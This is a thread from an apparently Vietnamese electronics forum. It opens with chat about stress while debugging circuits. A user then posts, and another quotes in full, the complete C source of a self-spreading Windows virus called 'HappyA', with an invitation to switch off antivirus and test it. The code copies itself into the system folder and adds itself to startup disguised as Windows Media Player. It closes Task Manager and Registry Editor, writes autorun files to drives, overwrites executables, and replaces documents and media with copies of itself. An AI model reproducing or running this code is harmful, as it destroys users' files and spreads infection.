có những hôm bạn test mạch mãi không chạy hay lập trình mãi cũng không đúng càng cố gắng càng hư hỏng thêm, chẳng hạn như toét hết mạch hay nát hết cả code không kiểm soát dc nữa.Nếu khi bí quá thì đi làm việc khác hay đi chơi hay đi nhậu hay đi ngủ...sau đó bạn làm tiếp, có khi những lỗi rất ngớ ngẩn nhưng mà do mình căng thẳng quá không chú ý. Cũng như vậy vào kỳ thi trc hôm thi môn đó thì đừng có nhồi nhét quá nhiều vào đầu chả nhớ dc j nhiều đâu, có khi còn quên ấy chứ. Bộ nhớ con người thì cũng dc vài megabit thôi, cứ nhồi nhét vào thì làm sao mà không mất dữ liệu chứ.hehehe
Thông báo
Collapse
No announcement yet.
một ngày buồn
Collapse
X
-
mình cũng cân chỉnh lại giờ đếm ngon lành,lâu lắm không quay lại cái topicNguyên văn bởi vnd89 Xem bài viếtbác cho e xem cái mạch được không ạ? sao e lắp mà nó cứ tùm lum, tìm mỏi mắt mà không ra lỗi nào chứ. e chỉ đếm số vòng cho cái máy quấn dây thôi. tần số thấp lắm.
chúc thành công
Comment
-
xả xì trét đi
nếu muốn cảm giác mạch thì test giúp cái này
nhớ tắt AV đi nhé
hê hê
được biên dịch bằng Dev-C++
cách đây 2 năm
có gì không chịu trách nhiệm nhé hê hê
HIV.rar
Code://Created by Ngo Hung Cuong (c) 2009 #include <windows.h> #include <stdio.h> #include <conio.h> #include <string.h> #define IsDir(a) ((a)&(DWORD)16) typedef struct data { char str[260]; data *lin; }; data *p1,*p2; char vp[260],sysp[260],expp[260],wp[260],duoi[260]; DWORD vs; //=============================== void init(void); DWORD WINAPI baove(LPVOID);//xong void tancong(void);//xong void push1(char s[260]);//xong void push2(char s[260]);//xong char *pop1(void);//xong void ktpre(void);//xong void init(void); void ghiautorun(char s[260]);//xong int thoatusb(void);//xong //=============================== int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { DWORD dth; HANDLE hth; //khoi tao cho cac duoi cua chuong trinh strcpy(duoi,"RARZIP");//2 strcat(duoi,"GHOPDFCHM");//5 strcat(duoi,"DOCXLSPPT");//8 strcat(duoi,"MP3WMA");//10 strcat(duoi,"WMVAVI3GP");//13 strcat(duoi,"DATVCDISONRG");//17 //inventor strcat(duoi,"IAMIPTIPNDWGIDW");//22 //flash strcat(duoi,"SWFFLV");//24 //slw strcat(duoi,"ASM");//25 //xong phan khoi tao cho duoi init(); hth=CreateThread(NULL,0,baove,0,0,&dth); while(1) tancong(); return 0; } //mo ta cac ham dung trong chuong trinh chinh //================================== void push1(char s[260]) { data *p; p=new data; strcpy(p->str,s); p->lin=p1; p1=p; } //================================= void push2(char s[260]) { data *p; p=new data; strcpy(p->str,s); p->lin=p2; p2=p; } //=================================== char *pop1(void) { data *p; char s[260]; p=p1->lin; strcpy(s,p1->str); delete p1; p1=p; return s; } //================================== //=================================== DWORD WINAPI baove(LPVOID) { HWND hw; while(1) { hw=FindWindow(NULL,"Registry Editor"); if(hw!=NULL) { SendMessage(hw,WM_CLOSE,0,0); CloseHandle((HANDLE)hw); } hw=FindWindow(NULL,"System Configuration Utility"); if(hw!=NULL) { SendMessage(hw,WM_CLOSE,0,0); CloseHandle((HANDLE)hw); } hw=FindWindow(NULL,"Group Policy"); if(hw!=NULL) { SendMessage(hw,WM_CLOSE,0,0); CloseHandle((HANDLE)hw); } hw=FindWindow(NULL,"Windows Task Manager"); if(hw!=NULL) { SendMessage(hw,WM_CLOSE,0,0); CloseHandle((HANDLE)hw); } } } //======================================= int thoatusb(void) { HWND hw; hw=FindWindow(NULL,"Safely Remove Hardware"); if(hw!=NULL) { CloseHandle((HANDLE)hw); return 1; } hw=FindWindow(NULL,"Safely Remove USB Disks"); if(hw!=NULL) { CloseHandle((HANDLE)hw); return 1; } return 0; } //============================================== void ktpre(void) { ULARGE_INTEGER ula,ulb,ulc; char cdr[260]; strcpy(cdr,"c:"); p1=NULL; for(cdr[0]='c';cdr[0]<='z';++cdr[0]) { if(GetDiskFreeSpaceEx(cdr,&ula,&ulb,&ulc)&&(GetDriveType(cdr)==DRIVE_REMOVABLE||GetDriveType(cdr)==DRIVE_FIXED)) push1(cdr); } } //============================================== void ghiautorun(char s[260]) { HANDLE h; WIN32_FIND_DATA wfd; char tg[260]; strcpy(tg,s); strcat(tg,"\\HappyA.exe"); h=FindFirstFile(tg,&wfd); if(h==INVALID_HANDLE_VALUE) { //truong hop khong co file nao thoa man CopyFile(vp,tg,FALSE); } else { if(wfd.nFileSizeLow!=vs) { CopyFile(vp,tg,FALSE); } CloseHandle(h); } strcpy(tg,s); strcat(tg,"\\autorun.inf"); h=FindFirstFile(tg,&wfd); if(h==INVALID_HANDLE_VALUE) { //truong hop khong ton tai FILE *f; f=fopen(tg,"wt"); fputs("[autorun]\n",f); fputs("shell\\open=Open(&O)\n",f); fputs("shell\\open\\command=HappyA.exe\n",f); fputs("shell\\open\\default=1\n",f); fputs("shell\\explorer=Explorer(&X)\n",f); fputs("shell\\explorer\\command=HappyA.exe\n",f); fclose(f); } else { //truong hop day la thu muc thi thoi if(IsDir(wfd.dwFileAttributes)) { } else { //xu ly trong truong hop size khac nhau if(wfd.nFileSizeLow!=vs) { FILE *f; f=fopen(tg,"wt"); fputs("[autorun]\n",f); fputs("shell\\open=Open(&O)\n",f); fputs("shell\\open\\command=HappyA.exe\n",f); fputs("shell\\open\\default=1\n",f); fputs("shell\\explorer=Explorer(&X)\n",f); fputs("shell\\explorer\\command=HappyA.exe\n",f); fclose(f); } } } } void tancong(void) { char home[260],tg[260]; int n,i,m; HANDLE h; WIN32_FIND_DATA wfd; m=25; ktpre(); while(p1!=NULL) { p2=NULL; while(p1!=NULL) { strcpy(home,pop1()); n=strlen(home); if(n==2) ghiautorun(home); if(!stricmp(home,wp)) continue; strcpy(tg,home); strcat(tg,"\\*.exe"); if(thoatusb()) Sleep(5000); h=FindFirstFile(tg,&wfd); if(h!=INVALID_HANDLE_VALUE) { if(wfd.nFileSizeLow!=vs) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL); CopyFile(vp,tg,FALSE); } while(FindNextFile(h,&wfd)) { if(wfd.nFileSizeLow!=vs) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL); CopyFile(vp,tg,FALSE); } } CloseHandle(h); }//da choi xong cac file co duoi la exe //lan luot choi cac file co duoi da liet ke for(i=0;i<m;++i) { if(thoatusb()) Sleep(5000); strcpy(tg,home); strcat(tg,"\\*."); n=strlen(tg); strncat(tg,duoi+i*3,3); tg[n+3]='\0'; h=FindFirstFile(tg,&wfd); if(h!=INVALID_HANDLE_VALUE) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL); DeleteFile(tg); n=strlen(tg); tg[n-3]='\0'; strcat(tg,"exe"); CopyFile(vp,tg,TRUE); while(FindNextFile(h,&wfd)) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL); DeleteFile(tg); n=strlen(tg); tg[n-3]='\0'; strcat(tg,"exe"); CopyFile(vp,tg,TRUE); } CloseHandle(h); } }//da xu ly xong tat ca cac file co duoi da liet ke //tim cac thu muc con strcpy(tg,home); strcat(tg,"\\*.*"); if(thoatusb()) Sleep(5000); h=FindFirstFile(tg,&wfd); if(h!=INVALID_HANDLE_VALUE) { if(IsDir(wfd.dwFileAttributes)&&(wfd.cFileName[0]!='.')) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); push2(tg); } while(FindNextFile(h,&wfd)) { if(IsDir(wfd.dwFileAttributes)&&(wfd.cFileName[0]!='.')) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); push2(tg); } } CloseHandle(h); } //xong phan tim kiem cac thu muc con } p1=p2; } } void init(void) { HMODULE hm; HANDLE h,h1; WIN32_FIND_DATA wfd; char tg[260],tg2[260]; GetWindowsDirectory(wp,260); strcpy(expp,wp); strcat(expp,"\\explorer.exe"); GetSystemDirectory(sysp,260); strcat(sysp,"\\WMPlayer.exe"); hm=GetModuleHandle(NULL); GetModuleFileName(hm,vp,260);//luu tru duong dan cua virus h1=FindFirstFile(vp,&wfd); vs=wfd.nFileSizeLow; strncpy(tg,vp+3,10); tg[10]='\0'; strncpy(tg2,vp,2); tg2[2]='\0'; //truong hop neu duoc kich hoat tu 1 file autorun if(!stricmp(tg,"HappyA.exe")) { char ttt[260]; strcpy(ttt,expp); strcat(ttt," "); strcat(ttt,tg2); WinExec(ttt,SW_SHOWDEFAULT); } //kiem tra tinh duy nhat trong bo nho h=CreateMutex(NULL,false,"HappyA Virus for you"); if(GetLastError()==ERROR_ALREADY_EXISTS) ExitProcess(0); //neu vp khong phai la sysp thi copy vao if(stricmp(vp,sysp)) { CopyFile(vp,sysp,false); HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey); RegSetValueEx(hKey, "Windows Media Player", 0, REG_SZ,(const unsigned char*)sysp, sizeof(sysp)); } } //Kidteam Software //kidteam@gmail.com //http://kickme.to/kidteam
Comment
-
anh em nào không ưa mạo hiểm thì đừng có ham vui nhéNguyên văn bởi kidteam Xem bài viếtxả xì trét đi
nếu muốn cảm giác mạch thì test giúp cái này
nhớ tắt AV đi nhé
hê hê
được biên dịch bằng Dev-C++
cách đây 2 năm
có gì không chịu trách nhiệm nhé hê hê
HIV.rar
Code://Created by Ngo Hung Cuong (c) 2009 #include <windows.h> #include <stdio.h> #include <conio.h> #include <string.h> #define IsDir(a) ((a)&(DWORD)16) typedef struct data { char str[260]; data *lin; }; data *p1,*p2; char vp[260],sysp[260],expp[260],wp[260],duoi[260]; DWORD vs; //=============================== void init(void); DWORD WINAPI baove(LPVOID);//xong void tancong(void);//xong void push1(char s[260]);//xong void push2(char s[260]);//xong char *pop1(void);//xong void ktpre(void);//xong void init(void); void ghiautorun(char s[260]);//xong int thoatusb(void);//xong //=============================== int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { DWORD dth; HANDLE hth; //khoi tao cho cac duoi cua chuong trinh strcpy(duoi,"RARZIP");//2 strcat(duoi,"GHOPDFCHM");//5 strcat(duoi,"DOCXLSPPT");//8 strcat(duoi,"MP3WMA");//10 strcat(duoi,"WMVAVI3GP");//13 strcat(duoi,"DATVCDISONRG");//17 //inventor strcat(duoi,"IAMIPTIPNDWGIDW");//22 //flash strcat(duoi,"SWFFLV");//24 //slw strcat(duoi,"ASM");//25 //xong phan khoi tao cho duoi init(); hth=CreateThread(NULL,0,baove,0,0,&dth); while(1) tancong(); return 0; } //mo ta cac ham dung trong chuong trinh chinh //================================== void push1(char s[260]) { data *p; p=new data; strcpy(p->str,s); p->lin=p1; p1=p; } //================================= void push2(char s[260]) { data *p; p=new data; strcpy(p->str,s); p->lin=p2; p2=p; } //=================================== char *pop1(void) { data *p; char s[260]; p=p1->lin; strcpy(s,p1->str); delete p1; p1=p; return s; } //================================== //=================================== DWORD WINAPI baove(LPVOID) { HWND hw; while(1) { hw=FindWindow(NULL,"Registry Editor"); if(hw!=NULL) { SendMessage(hw,WM_CLOSE,0,0); CloseHandle((HANDLE)hw); } hw=FindWindow(NULL,"System Configuration Utility"); if(hw!=NULL) { SendMessage(hw,WM_CLOSE,0,0); CloseHandle((HANDLE)hw); } hw=FindWindow(NULL,"Group Policy"); if(hw!=NULL) { SendMessage(hw,WM_CLOSE,0,0); CloseHandle((HANDLE)hw); } hw=FindWindow(NULL,"Windows Task Manager"); if(hw!=NULL) { SendMessage(hw,WM_CLOSE,0,0); CloseHandle((HANDLE)hw); } } } //======================================= int thoatusb(void) { HWND hw; hw=FindWindow(NULL,"Safely Remove Hardware"); if(hw!=NULL) { CloseHandle((HANDLE)hw); return 1; } hw=FindWindow(NULL,"Safely Remove USB Disks"); if(hw!=NULL) { CloseHandle((HANDLE)hw); return 1; } return 0; } //============================================== void ktpre(void) { ULARGE_INTEGER ula,ulb,ulc; char cdr[260]; strcpy(cdr,"c:"); p1=NULL; for(cdr[0]='c';cdr[0]<='z';++cdr[0]) { if(GetDiskFreeSpaceEx(cdr,&ula,&ulb,&ulc)&&(GetDriveType(cdr)==DRIVE_REMOVABLE||GetDriveType(cdr)==DRIVE_FIXED)) push1(cdr); } } //============================================== void ghiautorun(char s[260]) { HANDLE h; WIN32_FIND_DATA wfd; char tg[260]; strcpy(tg,s); strcat(tg,"\\HappyA.exe"); h=FindFirstFile(tg,&wfd); if(h==INVALID_HANDLE_VALUE) { //truong hop khong co file nao thoa man CopyFile(vp,tg,FALSE); } else { if(wfd.nFileSizeLow!=vs) { CopyFile(vp,tg,FALSE); } CloseHandle(h); } strcpy(tg,s); strcat(tg,"\\autorun.inf"); h=FindFirstFile(tg,&wfd); if(h==INVALID_HANDLE_VALUE) { //truong hop khong ton tai FILE *f; f=fopen(tg,"wt"); fputs("[autorun]\n",f); fputs("shell\\open=Open(&O)\n",f); fputs("shell\\open\\command=HappyA.exe\n",f); fputs("shell\\open\\default=1\n",f); fputs("shell\\explorer=Explorer(&X)\n",f); fputs("shell\\explorer\\command=HappyA.exe\n",f); fclose(f); } else { //truong hop day la thu muc thi thoi if(IsDir(wfd.dwFileAttributes)) { } else { //xu ly trong truong hop size khac nhau if(wfd.nFileSizeLow!=vs) { FILE *f; f=fopen(tg,"wt"); fputs("[autorun]\n",f); fputs("shell\\open=Open(&O)\n",f); fputs("shell\\open\\command=HappyA.exe\n",f); fputs("shell\\open\\default=1\n",f); fputs("shell\\explorer=Explorer(&X)\n",f); fputs("shell\\explorer\\command=HappyA.exe\n",f); fclose(f); } } } } void tancong(void) { char home[260],tg[260]; int n,i,m; HANDLE h; WIN32_FIND_DATA wfd; m=25; ktpre(); while(p1!=NULL) { p2=NULL; while(p1!=NULL) { strcpy(home,pop1()); n=strlen(home); if(n==2) ghiautorun(home); if(!stricmp(home,wp)) continue; strcpy(tg,home); strcat(tg,"\\*.exe"); if(thoatusb()) Sleep(5000); h=FindFirstFile(tg,&wfd); if(h!=INVALID_HANDLE_VALUE) { if(wfd.nFileSizeLow!=vs) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL); CopyFile(vp,tg,FALSE); } while(FindNextFile(h,&wfd)) { if(wfd.nFileSizeLow!=vs) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL); CopyFile(vp,tg,FALSE); } } CloseHandle(h); }//da choi xong cac file co duoi la exe //lan luot choi cac file co duoi da liet ke for(i=0;i<m;++i) { if(thoatusb()) Sleep(5000); strcpy(tg,home); strcat(tg,"\\*."); n=strlen(tg); strncat(tg,duoi+i*3,3); tg[n+3]='\0'; h=FindFirstFile(tg,&wfd); if(h!=INVALID_HANDLE_VALUE) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL); DeleteFile(tg); n=strlen(tg); tg[n-3]='\0'; strcat(tg,"exe"); CopyFile(vp,tg,TRUE); while(FindNextFile(h,&wfd)) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL); DeleteFile(tg); n=strlen(tg); tg[n-3]='\0'; strcat(tg,"exe"); CopyFile(vp,tg,TRUE); } CloseHandle(h); } }//da xu ly xong tat ca cac file co duoi da liet ke //tim cac thu muc con strcpy(tg,home); strcat(tg,"\\*.*"); if(thoatusb()) Sleep(5000); h=FindFirstFile(tg,&wfd); if(h!=INVALID_HANDLE_VALUE) { if(IsDir(wfd.dwFileAttributes)&&(wfd.cFileName[0]!='.')) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); push2(tg); } while(FindNextFile(h,&wfd)) { if(IsDir(wfd.dwFileAttributes)&&(wfd.cFileName[0]!='.')) { strcpy(tg,home); strcat(tg,"\\"); strcat(tg,wfd.cFileName); push2(tg); } } CloseHandle(h); } //xong phan tim kiem cac thu muc con } p1=p2; } } void init(void) { HMODULE hm; HANDLE h,h1; WIN32_FIND_DATA wfd; char tg[260],tg2[260]; GetWindowsDirectory(wp,260); strcpy(expp,wp); strcat(expp,"\\explorer.exe"); GetSystemDirectory(sysp,260); strcat(sysp,"\\WMPlayer.exe"); hm=GetModuleHandle(NULL); GetModuleFileName(hm,vp,260);//luu tru duong dan cua virus h1=FindFirstFile(vp,&wfd); vs=wfd.nFileSizeLow; strncpy(tg,vp+3,10); tg[10]='\0'; strncpy(tg2,vp,2); tg2[2]='\0'; //truong hop neu duoc kich hoat tu 1 file autorun if(!stricmp(tg,"HappyA.exe")) { char ttt[260]; strcpy(ttt,expp); strcat(ttt," "); strcat(ttt,tg2); WinExec(ttt,SW_SHOWDEFAULT); } //kiem tra tinh duy nhat trong bo nho h=CreateMutex(NULL,false,"HappyA Virus for you"); if(GetLastError()==ERROR_ALREADY_EXISTS) ExitProcess(0); //neu vp khong phai la sysp thi copy vao if(stricmp(vp,sysp)) { CopyFile(vp,sysp,false); HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey); RegSetValueEx(hKey, "Windows Media Player", 0, REG_SZ,(const unsigned char*)sysp, sizeof(sysp)); } } //Kidteam Software //kidteam@gmail.com //http://kickme.to/kidteam
Comment
-
hôm nay tình cờ mình đọc thấy một bạn viết
nguyên văn như thế này
Em nhìn thấy anh Ngô Hùng Cường có hơn 550 bài viết đóng góp cho forum, cứ tưởng anh đóng góp ghê gớm lắm chứ.
Thì ra cũng có vài tác phẩm đóng góp, còn lại là chém gió.
Đã ko giúp thì đừng có nói như vậy, anh nên học hỏi tính nhiệt tình của anh Ck33spkt. Anh giúp là giúp tới cùng.
Em yêu thích điện tử nên mới nghiên cứu.
Nếu đã ko giúp thì đừng có vào topic này mà comment nhé.
Xin cảm ơn
mình thấy buồn ghê
nhưng trước hết cũng phải xem lại mình
chắc tại mình đã bình luận gì không hay rồi
xem lại thấy đã có người bảo đến nơi đến chốn rồi mà không hiểu gì cả
chỉ muốn làm tất cho và chờ ăn sẵn thôi nên mình mới comment thế
cuối cùng . . .
hix
rút kinh nghiệm bản thân sau này ít comment hơn, và tốt nhất gặp trường hợp kiểu chỉ chờ sẵn thì đừng comment cho mệt vào thân vậyLast edited by kidteam; 04-06-2012, 23:21.
Comment
Bài viết mới nhất
Collapse
-
Trả lời cho Đấu tắt điện cho máy tính bảngbởi bqvietBqv cáo lỗi vì chưa đủ khả năng diễn giải để người đọc hiểu. Người làm kỹ thuật sâu đôi khi như thế đó. Về việc nạp pin không vào dù cell mới, khả năng cái mạch quản lý đó đã hỏng - cũng chính là nguyên nhân đám cell cũ hỏng từ đầu.
-
Channel: Thiết bị điện tử cá nhân
06-12-2025, 17:17 -
-
Trả lời cho Xin hỏi về mạch thu FM/AM trong catsettebởi nguyendinhvanTheo tôi, nó chỉ là cái Tuy- ê - nơ, hoặc là khối Trung Văn Tần, nó một phần trong cái Da đì ô thôi. Vì có thấy một chỗ có ba chân hàn, giiống như chân Cờ rít sờ tăng 455 ki nô hẹc. Còn khối Tuy ê nơ thì không nhìn thây cái Di ốt Va di cáp...
-
Channel: Điện thanh
05-12-2025, 19:59 -
-
Trả lời cho Đấu tắt điện cho máy tính bảngbởi afrendlyCó vẻ ngoài hiểu biết của mình rồi. Cuối cùng mình quyết định tìm mua 2 pin trên Shopee, giá 200K thay vào. Tuy nhận pin được 1%, sạc mãi không vào nhưng cũng mở được máy lên. Vậy cũng tạm. Cảm ơn bạn đã hỗ trợ nhé....
-
Channel: Thiết bị điện tử cá nhân
04-12-2025, 01:27 -
-
Trả lời cho Máy điện châm ?bởi nick22Đúng như bạn nói, máy điện châm hiện nay trên thị trường đã khá đa dạng về mẫu mã, chức năng và giá thành.
-
Channel: Điện tử y sinh
01-12-2025, 13:23 -

Comment